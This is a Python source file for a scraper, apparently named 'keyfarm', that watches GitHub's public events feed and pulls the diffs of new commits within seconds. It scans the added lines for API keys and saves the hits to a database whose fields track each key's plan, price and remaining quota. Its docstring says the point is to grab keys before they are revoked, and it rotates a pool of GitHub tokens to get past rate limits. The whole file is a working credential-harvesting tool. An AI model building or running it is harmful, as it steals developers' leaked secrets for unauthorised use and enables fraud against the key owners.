270 lines
8.2 KiB
Python
270 lines
8.2 KiB
Python
"""ETERNAL gh_realtime: GitHub public Events firehose — fresh pushes scanned
|
|
within seconds of landing (keys get revoked fast; realtime beats dork crawls).
|
|
|
|
Endpoint(s): https://api.github.com/events (probed 2026-10-06: 200 unauth),
|
|
https://api.github.com/repos/{o}/{r}/commits/{sha} (diff, capped)
|
|
Auth: none | PAT pool (gh_tokens.txt) for 5000/h instead of 60/h
|
|
"""
|
|
import os
|
|
BASE = os.path.dirname(os.path.abspath(__file__))
|
|
os.makedirs(os.path.join(BASE, "data"), exist_ok=True)
|
|
|
|
import hashlib
|
|
import json
|
|
import re
|
|
import sqlite3
|
|
import sys
|
|
import threading
|
|
import time
|
|
|
|
import requests
|
|
|
|
DB = os.environ.get("KF_DB") or os.path.join(BASE, "data", "keys.db")
|
|
LOG = os.path.join(BASE, "data", "gh_realtime_eternal.log")
|
|
CURSOR_FILE = os.path.join(BASE, "data", "gh_realtime_cursor.txt")
|
|
SEEN_FILE = os.path.join(BASE, "data", "gh_realtime_seen.txt")
|
|
TOKENS_FILE = os.path.join(BASE, "gh_tokens.txt")
|
|
N_THREADS = 4 # commit fetches in parallel
|
|
SLEEP = 75 # events page rotates fast; poll just under a minute
|
|
MAX_ITEMS = 40 # commits fetched per cycle
|
|
DIFF_CAP = 400_000 # bytes per commit diff
|
|
SEEN_CAP = 20_000
|
|
|
|
from key_patterns import scan_text
|
|
|
|
INTERESTING = re.compile(
|
|
r'(\.env|\.ya?ml|\.json|\.toml|\.ini|\.cfg|\.conf|\.properties'
|
|
r'|config|secret|credential|setting|key|token|deploy|docker-compose'
|
|
r'|application|settings|\.py|\.js|\.ts|\.sh)\b', re.I)
|
|
GARBAGE = ("xxxx", "your", "YOUR", "EXAMPLE", "example", "placeholder",
|
|
"CHANGEME", "changeme", "dummy", "DUMMY", "abcdefghijklmnopqrst",
|
|
"1234567890abcdef")
|
|
|
|
S = requests.Session()
|
|
S.trust_env = False # LANE_CONTRACT §4: local proxy kills long requests
|
|
lock = threading.Lock()
|
|
seen = set()
|
|
stats = {"events": 0, "commits": 0, "keys": 0, "fails": 0}
|
|
|
|
|
|
def log(msg):
|
|
line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n"
|
|
try:
|
|
with open(LOG, "a", encoding="utf-8", errors="replace") as f:
|
|
f.write(line)
|
|
except OSError:
|
|
pass
|
|
|
|
|
|
def load_tokens():
|
|
toks = []
|
|
try:
|
|
with open(TOKENS_FILE, encoding="utf-8", errors="replace") as f:
|
|
for line in f:
|
|
t = line.strip()
|
|
if t.startswith(("ghp_", "github_pat_")) and t not in toks:
|
|
toks.append(t)
|
|
except OSError:
|
|
pass
|
|
return toks
|
|
|
|
|
|
TOKENS = load_tokens()
|
|
_tok_i = [0]
|
|
|
|
|
|
def auth_headers():
|
|
h = {"Accept": "application/vnd.github+json",
|
|
"User-Agent": "keyfarm-realtime",
|
|
"X-GitHub-Api-Version": "2022-11-28"}
|
|
with lock:
|
|
if TOKENS:
|
|
t = TOKENS[_tok_i[0] % len(TOKENS)]
|
|
_tok_i[0] += 1
|
|
h["Authorization"] = "Bearer " + t
|
|
return h
|
|
|
|
|
|
def get(url, accept=None, timeout=25):
|
|
h = auth_headers()
|
|
if accept:
|
|
h["Accept"] = accept
|
|
for attempt, wait in enumerate((2, 4, 8)):
|
|
try:
|
|
r = S.get(url, headers=h, timeout=timeout)
|
|
if r.status_code in (403, 429):
|
|
ra = int(r.headers.get("Retry-After", "0") or 0)
|
|
time.sleep(max(ra, wait))
|
|
continue
|
|
if r.status_code >= 500 and attempt < 2:
|
|
time.sleep(wait)
|
|
continue
|
|
return r
|
|
except requests.RequestException:
|
|
if attempt < 2:
|
|
time.sleep(wait)
|
|
else:
|
|
return None
|
|
return None
|
|
|
|
|
|
def load_cursor():
|
|
try:
|
|
return open(CURSOR_FILE, encoding="utf-8").read().strip()
|
|
except OSError:
|
|
return ""
|
|
|
|
|
|
def save_cursor(event_id):
|
|
tmp = CURSOR_FILE + ".tmp"
|
|
with open(tmp, "w", encoding="utf-8") as f:
|
|
f.write(str(event_id))
|
|
os.replace(tmp, CURSOR_FILE)
|
|
|
|
|
|
def load_seen():
|
|
global seen
|
|
try:
|
|
with open(SEEN_FILE, encoding="utf-8") as f:
|
|
seen = {l.strip() for l in f if l.strip()}
|
|
except OSError:
|
|
seen = set()
|
|
|
|
|
|
def save_seen():
|
|
items = list(seen)[-SEEN_CAP:]
|
|
tmp = SEEN_FILE + ".tmp"
|
|
with open(tmp, "w", encoding="utf-8") as f:
|
|
f.write("\n".join(items))
|
|
os.replace(tmp, SEEN_FILE)
|
|
|
|
|
|
conn = sqlite3.connect(DB, timeout=120, check_same_thread=False)
|
|
conn.execute("""CREATE TABLE IF NOT EXISTS keys (
|
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
hash TEXT UNIQUE, val TEXT, prov TEXT, status TEXT DEFAULT 'NEW',
|
|
plan TEXT, price TEXT, remaining TEXT, found TEXT, repo TEXT)""")
|
|
conn.commit()
|
|
|
|
|
|
def db_add(key, prov, repo):
|
|
if any(g in key for g in GARBAGE):
|
|
return 0
|
|
h = hashlib.sha1(key.encode()).hexdigest()[:16]
|
|
with lock:
|
|
cur = conn.execute(
|
|
"INSERT INTO keys (hash, val, prov, status, found, repo) "
|
|
"VALUES (?,?,?,?,?,?) "
|
|
"ON CONFLICT(hash) DO UPDATE SET status='NEW', "
|
|
"found=excluded.found, repo=excluded.repo "
|
|
"WHERE keys.status IN ('DEAD','ERR')",
|
|
(h, key, prov, "NEW", "ghrealtime", repo[:300]))
|
|
conn.commit()
|
|
return cur.rowcount
|
|
|
|
|
|
def scan_diff(text, repo):
|
|
"""Scan only added lines of a unified diff."""
|
|
n = 0
|
|
added = [l[1:] for l in (text or "").splitlines()
|
|
if l.startswith("+") and not l.startswith("+++")]
|
|
for prov, key in scan_text("\n".join(added)):
|
|
if len(key) < 20 or len(set(key)) < 6:
|
|
continue
|
|
n += db_add(key, prov, repo)
|
|
return n
|
|
|
|
|
|
def fetch_commit(repo, sha):
|
|
if sha in seen:
|
|
return 0
|
|
with lock:
|
|
seen.add(sha)
|
|
r = get(f"https://api.github.com/repos/{repo}/commits/{sha}",
|
|
accept="application/vnd.github.diff")
|
|
if r is None or r.status_code != 200:
|
|
with lock:
|
|
stats["fails"] += 1
|
|
return 0
|
|
body = r.text[:DIFF_CAP]
|
|
with lock:
|
|
stats["commits"] += 1
|
|
return scan_diff(body, repo)
|
|
|
|
|
|
def cycle(max_items):
|
|
r = get("https://api.github.com/events?per_page=100")
|
|
if r is None or r.status_code != 200:
|
|
log(f"events fetch failed: {r.status_code if r is not None else 'net'}")
|
|
return 0
|
|
events = r.json()
|
|
with lock:
|
|
stats["events"] += len(events)
|
|
cursor = load_cursor()
|
|
jobs = [] # (repo, sha), interesting-file pushes first
|
|
push_events = 0
|
|
newest = cursor
|
|
for ev in events:
|
|
eid = str(ev.get("id", ""))
|
|
if cursor and eid and int(eid) <= int(cursor or 0):
|
|
continue
|
|
if eid and (not newest or int(eid) > int(newest or 0)):
|
|
newest = eid
|
|
repo = (ev.get("repo") or {}).get("name", "")
|
|
pl = ev.get("payload") or {}
|
|
if ev.get("type") != "PushEvent":
|
|
continue
|
|
push_events += 1
|
|
cand = [] # (priority, sha)
|
|
for c in (pl.get("commits") or [])[:3]:
|
|
sha = c.get("id", "")
|
|
if not sha:
|
|
continue
|
|
files = " ".join((c.get("modified") or []) + (c.get("added") or []))
|
|
interesting = (not files) or bool(INTERESTING.search(files))
|
|
cand.append((0 if interesting else 1, sha))
|
|
if not cand and pl.get("head"):
|
|
cand.append((1, pl["head"])) # big push: commits[] truncated
|
|
cand.sort()
|
|
jobs += [(repo, sha) for _, sha in cand]
|
|
with lock:
|
|
stats["push_events"] = stats.get("push_events", 0) + push_events
|
|
stats["jobs_queued"] = stats.get("jobs_queued", 0) + len(jobs)
|
|
jobs = jobs[:max_items]
|
|
found = 0
|
|
if jobs:
|
|
from concurrent.futures import ThreadPoolExecutor
|
|
with ThreadPoolExecutor(max_workers=N_THREADS) as ex:
|
|
for n in ex.map(lambda j: fetch_commit(*j), jobs):
|
|
found += n
|
|
if newest:
|
|
save_cursor(newest)
|
|
return found
|
|
|
|
|
|
def main():
|
|
once = "--once" in sys.argv
|
|
load_seen()
|
|
log(f"=== gh_realtime START tokens={len(TOKENS)} once={once} ===")
|
|
cycles = 0
|
|
while True:
|
|
try:
|
|
budget = min(MAX_ITEMS, 5) if once else MAX_ITEMS
|
|
n = cycle(budget)
|
|
cycles += 1
|
|
with lock:
|
|
stats["keys"] += n
|
|
snap = dict(stats)
|
|
log(f"cycle {cycles}: +{n} keys | {snap}")
|
|
save_seen()
|
|
except Exception as e:
|
|
log(f"cycle error: {e!r}")
|
|
if once:
|
|
print(f"gh_realtime --once done: {stats}")
|
|
return
|
|
time.sleep(SLEEP)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|